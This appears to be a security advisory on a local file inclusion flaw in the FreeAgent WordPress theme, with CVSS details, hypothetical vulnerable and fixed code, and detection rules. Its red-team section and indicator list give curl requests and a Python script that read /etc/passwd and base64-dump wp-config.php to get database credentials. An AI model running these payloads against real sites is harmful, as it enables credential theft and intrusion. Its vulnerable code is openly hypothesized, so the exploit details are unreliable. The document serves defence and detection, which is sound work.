CVE-2025-69087

Executive Summary

CVE-2025-69087 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the FreeAgent WordPress theme by Jwsthemes, affecting all versions up to and including 2.1.2. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, configuration files, or source code. The CVSS score of 8.1 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high impact on confidentiality. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched threat for all WordPress sites using the FreeAgent theme.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. As a WordPress ecosystem component, it is not managed by package managers like npm or PyPI. However, the risk is amplified by the lack of a vendor patch and the widespread use of WordPress. Organizations must treat this as a supply chain risk, as the theme may be bundled in pre-built WordPress installations or inherited from third-party developers.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Critical due to unpatched status, ease of exploitation, and potential for sensitive data exposure.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) in the FreeAgent WordPress theme. The theme likely uses a dynamic include statement (e.g., include($_GET['page'] . '.php');) without proper sanitization or whitelisting. An attacker can manipulate the page parameter (or similar) to include arbitrary files by using path traversal sequences like ../../../../etc/passwd%00. The %00 null byte injection (deprecated in PHP 5.3.4+ but still effective in older environments) or simply appending a valid extension can bypass weak filters.

Root Cause: The theme fails to validate or sanitize user-supplied input before using it in a PHP include() or require() statement. This allows an attacker to read any file on the server that the web server user has access to.

Attack Flow:

1. Attacker identifies a vulnerable parameter (e.g., page, template, file) in the theme's URL.
2. Attacker crafts a request: http://target.com/?page=../../../../etc/passwd
3. The server includes the file, outputting its contents in the HTTP response.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common LFI vulnerabilities in WordPress themes.

Vulnerable Code (Hypothetical):

<?php
// freeagent/includes/loader.php
$page = $_GET['page'];
include( $page . '.php' );
?>

Patched Code (Hypothetical):

<?php
// freeagent/includes/loader.php
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include( $page . '.php' );
} else {
    // Handle error
}
?>

The patched version uses a whitelist of allowed pages, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with FreeAgent theme <= 2.1.2.
• Web server user has read access to target files.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., page).
2. Use path traversal to read sensitive files:

   curl "http://target.com/?page=../../../../etc/passwd"
   

3. For PHP files, use php://filter to read source code:

   curl "http://target.com/?page=php://filter/convert.base64-encode/resource=wp-config.php"
   

4. Decode the base64 output to reveal database credentials.

Automated Exploitation (No public PoC available):

import requests

target = "http://target.com"
payload = "php://filter/convert.base64-encode/resource=wp-config.php"
r = requests.get(f"{target}/?page={payload}")
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for path traversal patterns (../, %2e%2e/, php://).
• Alert on requests to the theme directory with suspicious parameters.

Hardening:

• Disable the FreeAgent theme immediately if not essential.
• Implement a Web Application Firewall (WAF) rule to block path traversal and php:// filter usage.
• Apply the principle of least privilege to the web server user.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /?page=../../../../etc/passwd
  • /?page=php://filter/convert.base64-encode/resource=wp-config.php
  • /?page=....//....//....//....//etc/passwd
• Log Entries:
  • GET /?page=..%2f..%2f..%2f..%2fetc/passwd
  • GET /?page=php://filter/...
• File Access: Unauthorized reads of /etc/passwd, wp-config.php, .env files.
• Network: Outbound connections from the web server to attacker-controlled hosts (if RFI is also possible, though not confirmed).

Detection Engineering

YARA Rule

rule CVE_2025_69087_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting FreeAgent theme CVE-2025-69087"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69087"
    strings:
        $path_traversal = /(\.\.\/|\.\.%2f|%2e%2e%2f){2,}/
        $php_filter = /php:\/\/filter/
        $freeagent_theme = /wp-content\/themes\/freeagent/i
    condition:
        $freeagent_theme and ($path_traversal or $php_filter)
}

Sigma Rule

title: CVE-2025-69087 FreeAgent Theme LFI Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in FreeAgent WordPress theme
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'page=../'
            - 'page=..%2f'
            - 'page=php://filter'
            - 'page=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-69087 FreeAgent Theme LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"page="; http_uri; pcre:"/(\.\.\/|\.\.%2f|%2e%2e%2f){2,}/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the FreeAgent theme and switch to a supported alternative.
2. Apply virtual patching via WAF to block path traversal and php:// filter patterns.
3. Review server logs for signs of exploitation.

Long-Term Fix:

• Since no official patch exists, manually patch the theme by implementing input validation and whitelisting in the vulnerable include statement (see patched code example).
• Monitor the Jwsthemes vendor for an official update.

Compensating Controls:

• Restrict web server user permissions to read only necessary files.
• Enable PHP open_basedir to limit file access.
• Use a WordPress security plugin that includes LFI protection.

Valters IT
Securing Digital Frontiers